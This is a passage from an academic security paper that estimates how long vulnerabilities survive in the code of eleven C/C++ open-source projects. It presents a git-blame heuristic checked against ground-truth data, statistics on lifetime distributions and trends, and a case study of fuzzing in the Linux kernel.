with 1,202 mappings between 885 CVEs and their VCCs. Our
reasoning is that vulnerabilities found in this commit were
introduced before the beginning of the git era and thus using
the timestamp of the initial git commit would let their lifetime
appear shorter than it actually is.

Additionally, we found 436 ground truth mappings for
Chromium10 (226 CVEs), and 163 for the Apache HTTP
Server (httpd) (60 CVEs) in the Vulnerability History
Project [21]. The project also contains a few additional data
points for repositories, other than Chromium and httpd, how-
ever these repositories do not use C/C++ as their main pro-
gramming language. Since the quantity of those mappings
for other programming languages was too low to validate the
accuracy of our methodology on them, we decided to limit
our dataset to C/C++ repositories. Overall we were able to
map 1,171 CVEs to one or more VCCs, from high-quality
sources.

9dataset available at https://figshare.com/s/
4dd1130c336f43f6e18c

10Chromium is a web browser on its own right, but its codebase is also
used as a basis for Google Chrome, as well as other web browsers.
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3.2 Included projects
For our analysis, we want a large representative sample of
FOSS projects that are compatible with our ground truth
datasets and provide enough data points for our analysis. As
starting point, we established the following requirements for
software projects to be included:
(a) The project should be free and/or open source with trans-
parent and consistent security workflows. In fact, all projects
that were included at the end of this process are distributed
under Debian11 as free software. Nonetheless, they are widely
used in other operating systems and make up a good represen-
tation of FOSS in general.
(b) The project should have a considerable number of reported
CVEs. In order to allow a thorough analysis of all projects,
we limited ourselves to those with at least 100 CVEs to en-
sure meaningful results (we expect statistical arguments to be
possible). This condition forced us to discard many projects
we considered interesting, simply because they did not have
enough data available in the National Vulnerability Database
(NVD).
(c) The project should be mainly written in C or C++. Intu-
ition suggests that our methodology would provide results of
similar quality for other programming languages with similar
syntax and semantics, such as Java. However, we did not have
enough ground truth data available to empirically prove this
hypothesis for other programming languages, and therefore
focus on C/C++.
(d) Lastly, we require a significant number of a project’s CVEs
to be linkable to a fixing commit. We had to discard some
projects because it was not possible to consistently identify
the fixing commit(s) for the project’s CVEs.

In the end we created a dataset consisting of 11 different
projects of various sizes, ages and areas of application. All
included projects and their respective numbers of CVEs and
corresponding fixing commits are listed in Table 1. We thor-
oughly investigated commit messages, bug tracking systems
and NVD references to ensure the highest possible – to the
best of our efforts – yield of vulnerability mappings. A general
description of the process follows in the next section.

3.3 Linking CVEs to their fixing commits
Our data collection process is based on information from the
NVD [25]. The NVD is manually curated and represents one
of the largest collections of software vulnerabilities. Conse-
quently, it is frequently used in research on software security,
having generated valuable insights on various topics. At the
same time, the NVD has some well-known pitfalls, that the
process described below tries to mitigate. This issue is fur-
ther discussed in Section 7. For our work, we relied on the
CVE-search tool [13] to obtain a local copy of the NVD for
querying and obtaining data.

11https://www.debian.org/

For our analysis of vulnerability lifetimes, we needed to
link a vulnerability entry in the NVD to one or multiple fixing
commits resolving the underlying flaw. In order to create as
large a dataset as we could for our evaluation, we applied and
combined four different approaches.
1. CVE-ID in Commit Message. Some fixing commits men-
tion the related CVE-ID in the commit message, establishing
a link between CVE and fixing commit. We investigated all
these mappings using a combination of automated scripts and
manual effort. First, we deemed correct all mappings that
mention the CVE-ID in a project-specific syntax (e.g Bug-Id:
CVE-2017-9992) that clearly denotes a matching CVE. We
manually analyzed the remaining 176 mappings, and removed
17 unjustified mappings, corrected 2, and added 212.
2. Commit in NVD Reference. Entries in the NVD often
contain references to third party websites that include security
advisories, bug tracking systems, and also links to commits
in a project’s version control system. In the cases where a
reference to a commit in the respective repository was in-
cluded, we considered this commit to be a fixing commit. We
manually validated the mappings obtained using this method
by investigating a random subset of 50 samples. We found
that all of the sampled commits were indeed fixes for the re-
spective CVEs.
3. Common Bug ID. Many software vendors use dedicated
bug tracking systems in their development process. Each com-
mit corresponds to a bug identifier that is denoted in the com-
mit message using a particular syntax. Thus, most commits
can be linked to a certain bug ID. NVD entries, on the other
hand, may contain a link to the vendor’s online bug tracking
system in their references. Using regular expressions, the bug
ID can be extracted from such links and then matched to corre-
sponding commits. We assume that the developers mentioned
the correct bug identifiers in their commit messages and the
curators of the NVD reference the correct bugs as well. We
recognize that this is a potential threat to the correctness of
these mappings (see Section 7), but are confident the errors
are negligible.
4. Third party mappings. As the information provided by
linking vulnerabilities and fixing commits is useful for var-
ious purposes, fellow researchers and security experts have
collected similar data for some software projects. In addition
to our own analysis, we incorporated this data, especially in
cases where acquiring the information in an automated fash-
ion proved particularly difficult. We relied on three different
third party mappings: (a) data provided by the Linux Kernel
CVEs project [19], (b) mappings that were manually curated
by Piantadosi et al. [32], (c) information from the Debian
Security Tracker [12]. We are confident in the quality of data
obtained from these parties, as they are either curated from
reliable sources or relied on a data collection methodology
similar to ours.

12There were two occasions where a fix belonged to multiple CVEs as
indicated in the commit message
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These efforts resulted in a dataset of 5,914 CVEs across 11
projects that can be linked to one or more fixing commits. The
corresponding numbers of CVEs as well as the resulting num-
ber of mappings from this process are listed in Table 1. CVEs
with associated fixing commits are a subset of all of the CVEs
in the NVD. For the calculation of vulnerability lifetime we
could only consider those CVEs, where an associated fixing
commit could be identified in the code repository. Rather
than being a limitation of the approach, this addresses an im-
portant problem with the NVD regarding the reliability of
information on vulnerable products and versions (highlighted
in previous research [23,24]). Contrary to Li and Paxson [18]

Project CVEs w/ fix. com. # fix. com.
Linux (kernel) 4,302 1,473 1,528
Firefox 2,179 1,498 3,751
Chromium 2,781 1, 580 2,820
Wireshark 600 314 343
Php 663 281 932
Ffmpeg 326 277 373
Openssl 214 144 259
Httpd 248 132 476
Tcpdump 167 115 128
Qemu 340 213 290
Postgres 139 76 141
Total 11,959 5,914 11,041

Table 1: Number of CVEs and mappings per project. First column
gives the total number of CVEs returned from a search of the NVD.
Second column gives the number of those CVEs for which at least
one fixing commit was found in the project repository. Third column
gives the total number of fixing commits found per project.

we focused our efforts on a smaller set of projects with a
significant number of NVD entries available. We dedicated
considerable efforts towards achieving the highest mapping
rate that we could for these projects. In order to do that we
made sure to identify all potential syntaxes for denoting bug
IDs, all websites and corresponding hyperlinks belonging to
the same bug tracking system as well as combining multiple
of the introduced techniques. Consequently, we believe our
dataset to be the most complete mapping for the included
projects. Additionally, we also consider it to be more diverse
than the one used in Li and Paxson’s work, as over 40% of
their data originates from the Linux kernel or an operating
system based on it.

4 Lifetime estimation

In this section, we describe our methodology for automated
lifetime estimation from vulnerability fixing commits. We
start off by evaluating a lower-bound approach used in previ-
ous work [18]. To the best of our knowledge, we are the first

to evaluate this approach against ground truth data.

4.1 Lifetime estimation in previous work
Calculating the lifetime of a vulnerability is a non-trivial task,
as finding VCCs can be very difficult [20]. One approach used
before is manually identifying VCCs via thorough analysis of
the fixing commits of a vulnerability [28]. While this method
likely yields the most accurate results, it is unsuitable for
large scale studies. Therefore, Li and Paxson [18] opted for
an automated approach to the problem. They approximated
a lower bound of a vulnerability’s lifetime by using the git
blame command. Git blame finds which commit last changed
a specific line in a given file, and so can be used to trace a vul-
nerability back to its origin. Li and Paxson’s approach was to
run the command on every deleted or modified line of a given
fixing commit; this process usually returns multiple candidate
VCCs. They then picked the most recent of the commit dates
of those VCCs as their vulnerability introduction date, going
for a lower bound approach.

Although our empirical evaluation showed that this ap-
proach is indeed correct for getting a lower bound on the
lifetime of a vulnerability, we found it too conservative for
our needs. To be precise, we found that it underestimates the
average lifetime for vulnerabilities in our ground truth dataset
by 346.88 days. Due to the large underestimation of average
lifetime, we deem this approach unsuitable for our study.

A heuristic similar to Li and Paxson’s was used by Perl et
al. in VCCFinder [31], albeit for a different goal. Their git
blame-based heuristic aims to pinpoint the exact VCC, with
the goal of creating a dataset suitable for training a classifier
that can flag risky commits. Contrary to the Li and Paxson
approach (that only blames lines that were deleted or modified
in the fixing commit), the VCCFinder heuristic also takes into
account lines added by the fixing commit. The commit that is
blamed the most often is then marked as the VCC.

In VCCFinder, the accuracy of the heuristic is calculated
at 96%. This figure was derived by the authors by taking a
15% sample of VCCs (96 in total) that the heuristic identi-
fied, and manually checking them. Naturally, simply applying
this heuristic seemed like a good fit for our use-case. Un-
fortunately, in our evaluation of the heuristic against ground
truth data, we could not observe similar accuracy (accuracy
~40%). We attribute the optimistic evaluation of the heuristic
by Perl et al. to the difficulty of pinpointing VCCs manually.
Our results seem sensible considering the fact that software
developers put a significant amount of manual effort13 into
regression tracking which includes identifying VCCs. Thus,
it seems likely that the accuracy of a relatively simple heuris-
tic like this, is limited. However, for the purpose of training
a classifier that pinpoints “risky” commits, with the aim to

13https://lore.kernel.org/lkml/3519198.TemPj1OATJ@vostro.
rjw.lan/
https://yarchive.net/comp/linux/regression_tracking.html

364    31st USENIX Security Symposium USENIX Association

https://lore.kernel.org/lkml/3519198.TemPj1OATJ@vostro.rjw.lan/
https://lore.kernel.org/lkml/3519198.TemPj1OATJ@vostro.rjw.lan/
https://yarchive.net/comp/linux/regression_tracking.html


drastically reduce the search space for subsequent manual
auditing, such accuracy is perfectly acceptable. Indeed, the
authors of VCCFinder showed that it is successful in find-
ing previously unflagged vulnerabilities and outperformed
existing approaches.

4.2 Our approach

A key observation is that we do not need to pinpoint the exact
VCCs for our purposes. It is sufficient to approximate the
point in time when a vulnerability was introduced. We found
that we can estimate this the closest by repurposing the VC-
CFinder heuristic with some slight modifications (similar to
the ones by Yang et al. [41]). We modify the heuristic in such
a way that it returns an approximation (in days) of how long
the code was vulnerable instead of the exact VCC. This is
done by averaging multiple possible dates when the vulner-
ability could have been introduced, and assigning different
weights corresponding to how often each individual commit
was blamed. Our approach is as follows:
1) We use git blame -w14 to map every “interesting” change
of a fixing commit to potential VCCs:
– Ignore changes to tests, comments, empty lines and non
C/C++ files.
– Blame every line that was removed.
– Blame before and after every added block of code (two or
more lines) if it is not a function definition as these can be
inserted arbitrarily.
– Blame before and after each single line the fixing commit
added if it contains at least one of these keywords ("if", "else",
"goto", "return", "sizeof", "break", "NULL") or is a function
call. This approach was shown to perform well in blaming
actual VCCs by Yang et al. [41].
2) We then calculate our estimated introduction date dh from
the list of blamed commits. For n commits we have:

dh = dre f +
1

∑
n
i=1 bi

n

∑
i=1

bi(di −dre f ) (1)

where bi is determined by the number of blames the commit
i received and di is the respective commit date. For easier
calculation, the dates are represented as difference in days to
a static reference date dre f (January 1, 1900).

Using this heuristic, we decrease the mean error on our
ground truth set by 66% compared to using the lower-bound
blaming heuristic of Li & Paxson, effectively overestimat-
ing the actual average lifetime by 117 days (see Table 2).
However, having a low error on the ground truth dataset does
not necessarily mean that the approach is suitable for our
needs. We have to address some additional important points
regarding the robustness of the approach.

14All projects that we investigated either used git or offered a git mirror of
their repositories. However, the approach is generalizable, as other version
control systems offer similar commands (e.g. svn blame or hg annotate).
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Figure 2: Distribution of heuristic errors in days (excluding data
points with no error for readability). Equally sized bins.

How many data points are needed? A standard deviation
of more than 900 days means that individual measurements
are generally not reliable. Therefore, we need to rely on mea-
surements of the mean over larger sample sizes. Treating the
errors as independent random variables sampled from the
error distribution of Figure 2, we can compute the standard
deviation of the sample mean for a given sample size with the
Bienaymé formula. According to the Central Limit Theorem,
the distribution of the sample mean will be normal for a large
enough number of samples. We empirically conclude that
at least for 20 or more samples, this holds for the distribu-
tion of the errors. Therefore, we can compute bounds for the
sample mean using normal distribution tables. For example,
for a sample size of 20 and a confidence level of 95%, the
sample mean will lie in the interval [117-395, 117+395] days.
Making the simplification that the mean error is 0 (necessary
for generalization), we can say that for a confidence level of
95%, the margin of error will be ±395 days for 20 samples,
±250 days for 50 samples, and ±176 days for 100 samples
(compared to an average lifetime of almost 1150 days, cal-
culated from the ground truth data). We consider the margin
of error for 20 samples as the maximum tolerable error for
our study, and set the minimum number of data points for a
measurement to 20. We, therefore study means of at least 20
CVE samples, although for most of our analysis (e.g. average
lifetimes per project, vulnerability types), we consider means
of 60 or more samples. Note that the calculations above are
approximate and their aim is to get a lower bound for the
number of samples required for meaningful estimation.

Does the weighted average heuristic generalize (over time
and between projects)? Although we have a limited number
of data points in our ground truth dataset, we can see that the
performance of our heuristic is similar for the three different
projects (see Table 2). Another source of confidence in the
robustness of our heuristic is that its error is symmetrically
(nearly normally) distributed around a low mean value (that
can be assumed to be zero), as can be seen in Figure 2. In-
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Project CVEs Li & Paxson our approach (VCCFinder) our approach (w. average) Lifetime
Mean error St. dev Mean error St. dev Mean error St. dev Mean

Linux (kernel) 885 -323.74 1,033.27 157.51 1,127.60 163.11 994.01 1,330.85
Chromium 226 -370.32 747.51 -15.54 754.19 -38.44 633.45 754.22
Httpd 60 -599.80 1,160.05 257.45 915.81 22.40 868.91 1,890.23
All CVEs 1,171 -346.88 993.72 129.24 1,057.9 117.00 932.52 1,248.22

Table 2: Comparison of heuristic performance for the lower-bound approach of Li&Paxson, our approach based on a repurposed version of the
VCCFinder heuristic [31], and our optimized heuristic (weighted average). All against ground truth data and measured in days.

tuitively, this means that the errors “automatically” cancel
out. For example, an alternative approach to have more ac-
curate estimations of the lifetime would be to find a suitable
“perfect constant” to add to the lower bound estimation as
computed by the Li & Paxson approach. However, we found
that depending on the data sampled, a perfect constant gen-
erally performs worse than our weighted average approach.
Taking Chromium as an example, calculating a constant up
to some date X and then adding it to the output of the lower
bound estimation approach, does not provide a good estimate
compared to the weighted average heuristic. For example, as-
sume the available data for Chromium is split into two subsets
with fixing commits before 2014, and with fixing commits
in 2014 and after. Calculating a perfect constant on the first
dataset and applying it to the second, results in an average
underestimation of 228.58 days, while the weighted average
heuristic underestimates the correct lifetime by 33.56 days.
Also, the calculated constants between the Linux kernel and
Chromium differ drastically (the kernel constant would be up
to 6 times larger), which shows that this approach cannot be
transferred between different projects, whereas our approach
does not require tuning and provides good results for all three
projects with ground truth data that are available.

Can we use the heuristic to assess trends and distri-
butions? Figure 3 shows the (ground truth) lifetimes of
Linux kernel15 vulnerabilities in our ground truth dataset (867
CVEs), per year from 2011 to 2020. For the same CVEs, it
also shows the estimate by our weighted average heuristic, in
addition to the best linear fits for the trend in each case. Visual
inspection of the plot as well as the relatively small difference
in the calculated best linear fits (gradient of 163 days/year
for heuristic, 155 days/year for ground truth) supports the as-
sertion that the heuristic can be used to study lifetime trends
over time.

To assess whether the heuristic is also suitable for estimat-
ing the distribution of vulnerability lifetimes, we plot and
compare the histograms of the ground truth data and the out-
put of the heuristic for the same CVEs (Figure 4). The his-
tograms showcase similar characteristics and the exponential

15We use the Linux kernel for this investigation, since it is the project with
the most data points in our ground truth dataset (see Table 2). However, the
same conclusion can be made by using the ground truth data for Chromium.
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Figure 3: Comparison of heuristic vs ground truth values for historic
trend of vulnerability lifetimes in the linux kernel. Linear OLS fit.

distribution appears to be a good fit to both the heuristic and
ground truth data for most of the data range (see Q-Q plots in
Figure 4). Overall, our experiments support the assertion that
the heuristic can be used to study the distribution of lifetimes.

5 Results

In this section, we present the results of applying our weighted
average heuristic for lifetime estimation on a large dataset of
5,914 CVEs with available fixing commits16. For 1,171 of
those data points we use ground truth data, and for the rest
we use the approach described in Section 4 to approximate
their lifetimes.

5.1 General
Table 3 shows an overview of the computed lifetimes for each
project, as well as for the dataset as a whole. In general, vul-
nerabilities live in the code for long periods of time (over
1,900 days on average). This fact has also been indicated by
previous research [1,10,11, 28]. We observe large differences
between projects (TCPDump has 4 times the average lifetime
of Chromium). There can be multiple possible explanations
for these differences (e.g. better security protocols, general

16Due to the restrictions of the heuristic (e.g. only consider changes in
C/C++ files) the total number of CVEs with an estimated or ground truth
lifetime is 5,436.
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(d) Q-Q plot for ground truth data

Figure 4: Comparison of histograms of lifetime distributions between heuristic and ground truth data for the same CVEs. The exponential fit
to the histograms and the corresponding Q-Q plots are also provided.

development, code churn) that we further touch upon in the
following subsections. Also, we observe that the median is
generally lower than the mean. This gives an indication re-
garding the distribution of lifetimes within a project. This
issue is specifically tackled in the following subsection.

Project Lifetime
Average Median

Linux (kernel) 1,732.97 1,363.5
Firefox 1,338.58 1,082.0
Chromium 757.59 584.5
Wireshark 1,833.86 1,475.0
Php 2,872.40 2,676.0
FFmpeg 1,091.99 845.5
OpenSSL 2,601.91 2,509.0
Httpd 1,899.96 1,575.5
Tcpdump 3,168.58 3,236.0
Qemu 1,743.86 1,554.0
Postgres 2,336.56 2,140.0
Average of projects 1,943.48 1,731.0
All CVEs 1,501.47 1,078.0

Table 3: Overview of average lifetimes per project (ordered by
number of CVEs)

5.2 Distribution
Figure 5 shows the distribution of lifetimes for all CVEs,
along with an exponential fit. Upon initial visual inspection of
the histogram of Figure 5, we selected the exponential distri-
bution as a potentially good fit to the data. Then, by employing
a Q-Q plot [39] we verified that the exponential distribution
is indeed an excellent fit for lifetimes of up to around 4,200
days (Figure 6), accounting for 94% of our data. Then, the
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Figure 5: Distribution of vulnerability lifetimes. Equally sized bins.

distribution of the empirical values is a bit denser than the
theoretical at around 5,000 days, and sparser for higher life-
times (over 6,000 days). We assess that the exponential is still
a good fit – and thus useful for calculations – for lifetimes
up to around 5,000 days (98% of our data). We expected the
existence of a cut-off point for the fit on the tail of the data
since the exponential continues generating some small – yet
non-negligible – mass for very high values (since it goes to
infinity), while the lifetimes in our empirical dataset are natu-
rally constrained by the age of the code. We then employed
the Kolmogorov-Smirnov test as described in the seminal
methodology of Clauset et al. [9] to statistically compare the
fit of the exponential to other candidate distributions, such as
the power law or the lognormal. We found the exponential to
be a statistically significant better fit. Further evidence sup-
porting the goodness of fit of the exponential can be found in
Appendix A.2.

Given the above, the distribution for the lifetimes can be
approximated by the probability density function below17:

f (x) =
1

1501.47
e−

1
1501.47 x (2)

17For most of the probability mass, except the tail (>5,000 days) as dis-
cussed above.
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Figure 6: Q-Q Plot comparing theoretical exponential distri-
bution and our data (blue points). The fit is excellent up to
a lifetime of around 4,200 days and then gradually diverges.
We can say it remains a good fit up to a lifetime of around
5,000 days.

This distribution has an average value of 1,501.47 days
and a median (referred to as half-life in nuclear physics) of
ln2·1,501.47 = 1,040.74 days. This is the amount of time
required for half of the vulnerabilities to be fixed. Conversely,
63% of vulnerabilities are fixed before the average lifetime of
1,501.47 days. Exponential distributions also provide satisfac-
tory fits for the vulnerability lifetimes of single projects, when
considered in isolation (with small variations). This can also
be observed in the average and median values of Table 3. For
most projects (especially the ones with many data points avail-
able), the median is close to ln2 (~0.69) times the average.
According to our analysis, for all intended purposes of this
paper, the empirical distribution of lifetimes in a project can
be adequately approximated by an exponential distribution.

5.3 Trends over time

To investigate the progression of vulnerability lifetimes over
time, we grouped CVEs by their fixing year (year of their
last fixing commits, as also discussed in Section 2.2) and cal-
culated the average lifetime for each year. Figure 7 shows
how vulnerability lifetimes progressed over the years for the
dataset as a whole, as well as for Firefox, Chromium and
Linux. These were the projects that had enough CVEs (>20)
for each year to confidently assess their lifetime over an ex-
tended period. Specifically, the grey area in the plots covers
the years before the first year when at least 20 CVEs with
fixing commits were available for the project.

Overall (Figure 7a), vulnerability lifetimes show a sign of
increase over the years with some fluctuation. When consid-
ering all CVEs, their average vulnerability lifetime increases
by 42.78 days per year.

Considering the other 3 selected projects in particular, for

Chromium (Figure 7c) and Linux (Figure 7d) we can observe
clear increasing trends, whereas for Firefox (Figure 7b), vul-
nerability lifetimes are stable, even with a slight decreasing
trend. It is interesting to note that although the overall increas-
ing trends for Chromium and Linux are similar, lifetimes for
Chromium can fluctuate significantly over the years, while
the values for Linux fluctuate less. For the other projects that
do not have enough datapoints for year-by-year analysis, we
group CVEs per 2 or more years (for additional figures refer
to the full version of the paper). In total, out of the 11 projects
in our study: 3 (Chromium, Linux, httpd) have a clear and sig-
nificant (ordinary least squares linear fit factor > 0 with 95%
confidence) increasing trend; 4 (Qemu, OpenSSL, Php, Post-
gres) show an increase but with fewer data points available; 4
(Firefox, Wireshark, Tcpdump, FFmpeg) do not exhibit any
particular trend.

Does increasing vulnerability lifetimes mean that code
quality is getting worse over time? We came up with two
possible conflicting explanations for increasing vulnerability
lifetimes. The first is optimistic: we are fixing vulnerabili-
ties faster than we are introducing them, and thus, there are
less new vulnerabilities to find and the average age of those
we are fixing is increasing, as we are “catching up”. As put
forward by Corbet in 2010 [11] regarding the Linux kernel
“[a prominent kernel developer told me that] the bulk of the
holes being disclosed were ancient vulnerabilities which were
being discovered by new static analysis tools. In other words,
we are fixing security problems faster than we are creating
them”. The pessimistic explanation is that we are introducing
vulnerabilities at a similar or even greater rate than we are
fixing them, and that the average age of those that are fixed is
increasing, along with the age of the codebase. The optimistic
explanation would require a gradual change of the shape of
the distribution of lifetimes. As can be seen in Figure 8, the
distribution remains exponential, with gradually increasing
mean over time. Thus, the optimistic explanation is not sup-
ported by the empirical measurements, making the pessimistic
explanation more likely. However, deeper investigation into
the relationship between vulnerability age and code age in
general is required. We present this in the next section.

5.4 Code age

To compute the overall code age of a project at a given point
in time, we employed the following method. For each year X,
we consider the state of the repository on the 1st of July in
that year (half-way point). Subsequently, we “blame” (getting
the point in time a line was last changed) every line in the
repository. We consider the time-span between the last change
and the half-way point to be the regular code age for that line
in year X. To analyze the relation between regular code age
and fixed vulnerable code age (vulnerability lifetime), we
calculate the average code age for each year that we have
vulnerability lifetime data for, and plot the result in Figure 9
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Figure 7: Average Lifetime trend (computed with our weighted average approach) for all CVEs, as well as for Firefox, Chromium and Linux,
in isolation. A lower bound computed similarly to Li and Paxson’s approach is included for completeness.
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Figure 8: Distribution fit of lifetimes by year of fix

for Firefox, Chromium, Linux, and Httpd.
We observe a close correlation between average code age

and average vulnerability lifetime for all projects. Both quanti-
ties have an increasing trend over time for all projects, except
for Firefox, for which there is a slightly decreasing trend for
both quantities. We can make two general key observations
here. First, vulnerability lifetime is lower than regular code
age. Second, although for most projects the spread between
“vulnerable code” and “all code” appears to remain constant
over time, for some projects (e.g. Chromium – see Figure 9b),
this spread increases. These observations and their interpre-
tation carry significant insights that we discuss in Section 6.
But first, in the following subsection, we investigate whether
there is a relation between the lifetime of a vulnerability and
the type of bug that introduced it.

5.5 Types
CVE entries in the NVD are assigned a Common Weakness
Enumeration identifier (CWE) [22] that denotes the type of
error that led to the vulnerability. However, these identifiers,
in their raw form, are not suited for studies involving multiple
projects, since (a) different analysts may assign CWEs on
different depths in the CWE hierarchy18, and therefore CWEs
are not directly comparable, (b) one CWE can have multiple
top-level (“root”) CWEs, making it difficult to compare on
the root level, (c) depending on the CWE View chosen for the
root level (e.g. CWE VIEW: Research Concepts CWE-1000),
some of the CWEs in the NVD entries may not even be part
of the hierarchy.

Therefore, we created a mapping between CWE identifiers
and 6 custom top level categories (see Table 4) that covers
the most relevant research concepts. The categories are broad
enough that each CWE can be assigned to one of them, and
the number of total categories is low to allow for large enough
sample sizes within each.

Code Development Quality refers to vulnerabilities that
are introduced due to violations of standard coding practices
like infinite loops, division by zero, etc. Security Measures in-
cludes cryptographic issues as well as flaws related to authen-
tication, permission and privilege management. The Memory
Management, Input Validation and Sanitization, and Concur-

18CWE identifiers are organized in a hierarchical structure. More general
identifiers, e.g. CWE-682: Incorrect Calculation, have multiple more specific
“children”, e.g. CWE-369: Divide By Zero.
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Figure 9: Age of vulnerable code vs. all code, along with linear fits, for Firefox, Chromium, Linux (kernel) and Httpd. For Httpd, vulnerability
lifetimes are calculated in 4 or 5-year intervals to guarantee confidence in the estimation.

rency categories are self-explanatory. Others is the category
that includes all CWEs that could not be matched to any
of the five aforementioned categories. The exact mapping
between CWE identifiers and our categories is available in
Appendix A.1. The average vulnerability lifetime per category
is shown in Table 4.

ID Name Mean Median
5 Others 1,345.64 984.0
2 Input Validation and Sanitization 1,354.07 944.5
4 Security Measures 1,384.05 996.5
6 Concurrency 1,604.10 1,296.0
1 Memory and Resource Management 1,633.60 1,129.0
3 Code Development Quality 1,760.96 1,333.0

Table 4: Vulnerability categories and their mean and median life-
times (in days) for all CVEs

Analysis of the data for all CVEs indicates a significant19

difference in distribution, agreeing with previous results [18].
More thorough analysis, however, reveals that this can

be attributed to differences in the prevalence of different
types in different projects, rather than some deeper relation
(an instance of Simpson’s paradox). Specifically, for Linux,
Chromium, and Firefox, no significant difference can be statis-
tically observed20. As an example, the figures for Chromium

19Kruskal-Wallis-H test with p-value of 2-91e-07 and 40% of pairwise
comparisons sign. different (α = 0.05), even with Bonferroni correction.

20Kruskal-Wallis-H test with p-values 0.492 (Chromium), 0.075 (Firefox)
and 0.525 (Linux).

are given in Table 5.

ID Name Mean Median
6 Concurrency 597.43 543.0
3 Code Development Quality 647.36 700.0
2 Input Validation and Sanitization 687.92 525.0
5 Others 706.71 576.0
1 Memory and Resource Management 770.25 618.0
4 Security Measures 736.49 545.0

Table 5: Vulnerability categories of Chromium, mean and median
lifetimes in days

5.6 Case study on impact of fuzzing

To show the utility of vulnerability lifetime as a metric to
study issues with practical implications, we investigate the
effect of automated tools (esp. fuzzing tools) on vulnerabil-
ity lifetimes. Although fuzz testing in general is not a new
idea, “modern” coverage-guided fuzzing with fuzzers like
AFL(++)21, libFuzzer22 and Honggfuzz23 (syzkaller24 for the
kernel), combined with sanitizers (e.g. (K)ASan [35], MSan25,

21https://github.com/google/AFL, https://github.com/
AFLplusplus/AFLplusplus

22https://llvm.org/docs/LibFuzzer.html
23https://github.com/google/honggfuzz
24https://github.com/google/syzkaller
25https://clang.llvm.org/docs/MemorySanitizer.html

370    31st USENIX Security Symposium USENIX Association

https://github.com/google/AFL
https://github.com/AFLplusplus/AFLplusplus
https://github.com/AFLplusplus/AFLplusplus
https://llvm.org/docs/LibFuzzer.html
https://github.com/google/honggfuzz
https://github.com/google/syzkaller
https://clang.llvm.org/docs/MemorySanitizer.html


UBSan26) to expose latent bugs, started being widely used
for FOSS in around 2016 (AFL introduced to the Linux com-
munity in 201527, first syzkaller talk in 201628, OSSFuzz
launched in late 201629). One may expect a measurable im-
pact on vulnerability lifetimes by the adoption of fuzzing tools.
Before approaching this question empirically, we discuss the
theoretically expected impact on vulnerability lifetimes from
the introduction of fuzzing tools. The introduction of fuzzers
in long-lived projects would result in the discovery of some
very old bugs, and thus we would expect an initial increase
of the average lifetime of vulnerabilities for a short period of
time. Then, considering these old bugs have been removed,
we would expect continuous fuzzing to result in the discovery
of bugs relatively quickly after their introduction, resulting in
a drop in the average vulnerability lifetime. Overall, the ex-
pected behaviour would be a surge followed by a considerable
decline.

We move on to empirically approach the question. Making
the simplifying assumption that memory-related bugs are the
traditional and natural targets of fuzzing, we plot the trend
of Linux memory-related CVEs compared to Linux CVEs
that fall into other categories (categories as presented in Sec-
tion 5.5). Figure 10 shows no significant difference in the
lifetime trend for the two sets of CVEs. Also, we do not ob-
serve any behaviour consistent with our expectation. It seems
that the introduction of “modern” fuzzing tools did not have
any noticeable impact on Linux lifetimes.
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Figure 10: Lifetimes of memory-related vs. all other vulnera-
bility categories for Linux.

Why would this be the case? We continue the investi-
gation by looking into the five longest-surviving CVEs in
our ground truth dataset for any project. Four of them are
Linux CVEs (CVE-2019-15291, CVE-2019-19768, CVE-
2019-11810, CVE-2019-19524), each with a lifetime of
around 5,000 days (more than 13 years). All CVEs describe

26https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.
html

27https://lwn.net/Articles/657959/
28https://github.com/google/syzkaller/blob/master/docs/

talks.md
29https://opensource.googleblog.com/2016/12/

announcing-oss-fuzz-continuous-fuzzing.html

memory-related issues. Interestingly, 2 of them (first and last)
describe issues related to USB drivers discovered by syzkaller.
Fuzzing of the USB subsystem of the kernel has a rich history.
Andrey Konovalov reported a batch of Linux USB vulner-
abilities in 201730, before reporting a new batch in 201931

upon resumption of the USB fuzzing project. Moreover, Peng
and Payer [30] (USBFuzz) used USB device emulation and
coverage-guided fuzzing to discover a number of vulnerabil-
ities in “already extensively fuzzed – versions of the Linux
kernel”, showing that their approach is complementary to
syzkaller. The progressive discovery of vulnerabilities in this
one specific subsystem of the Linux kernel showcases that
the notion of “already fuzzed” may be misleading, even for
relatively small subsystems of complex systems. The lack of
observable impact on memory-related CVE lifetimes upon
the introduction of fuzzing tools supports this assertion as
very old bugs continue to get discovered with (possibly new)
fuzzing tools years after fuzzing has started on the specific tar-
get. Our evidence suggests that fuzzing complex systems
is not a “one-off” automated task, rather a complex ever-
evolving process. A different but similar interpretation is that
the “initial increase” in lifetimes that we expected due to the
introduction of fuzzing is prolonged as new tools and tech-
niques continuously enter the arsenal of testers (e.g. consider
the new approaches to USB fuzzing referenced above).

None of the above imply that fuzzing in general, or as car-
ried out in the Linux kernel, does not significantly contribute
to improving security. Continues fuzzing finds large numbers
of bugs (e.g. >3,000 Linux bugs discovered by syzkaller and
fixed32). Most of these bugs are not assigned CVEs due to
several reasons, e.g. they are fixed before the next release of a
version or their security implications are unclear. This might
be a reason why no decrease in vulnerability lifetimes is ob-
served in our dataset, which only includes CVEs. However our
techniques are of general relevance and can be used to mea-
sure the lifetimes of other bugs (e.g. discovered by syzkaller)
as well. Furthermore, some of these bugs are not memory-
related (e.g. KCSAN33 is a sanitizer for Linux concurrency
bugs). Overall, this case study highlights the complicated
nature of fuzzing and its relation to vulnerability lifetimes.
Quantifying the impact of fuzzing in improving the security of
codebases and its impact on lifetimes is still an open problem
that needs further investigation.

6 Implications and discussion

Is software getting more secure over time? In Section 5,
we presented a number of results related to this question.

30https://www.openwall.com/lists/oss-security/2017/12/12/
7

31https://www.openwall.com/lists/oss-security/2019/08/20/
2

32https://syzkaller.appspot.com/upstream/fixed
33https://github.com/google/ktsan/wiki/KCSAN
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We established that there is no evidence to support that we
are introducing (and consequently fixing) significantly fewer
new vulnerabilities over time. We also made the following
observations: (a) vulnerability lifetimes are on average lower
than regular code age, and (b) for some projects this spread
increases over time.

Observation (a) shows that vulnerability-fixing has a siz-
able benefit in reducing the window of exposure to zero-day
attacks. If this were not the case (if vulnerability lifetimes
were similar or greater than regular code age), one could say
that our vulnerability-finding practices would be totally inef-
fective – fortunately this is not true.

Observation (b), that for some projects vulnerability life-
times, on average, increase slower over time compared to code
age, is more interesting. One explanation could be that we are
(introducing and) fixing an increasingly large number of new
vulnerabilities each year, in addition to a few very old ones.
Figure 8 does not support this explanation, since overall the
distribution of vulnerability lifetimes does not significantly
change and remains exponential, slowly stretching towards
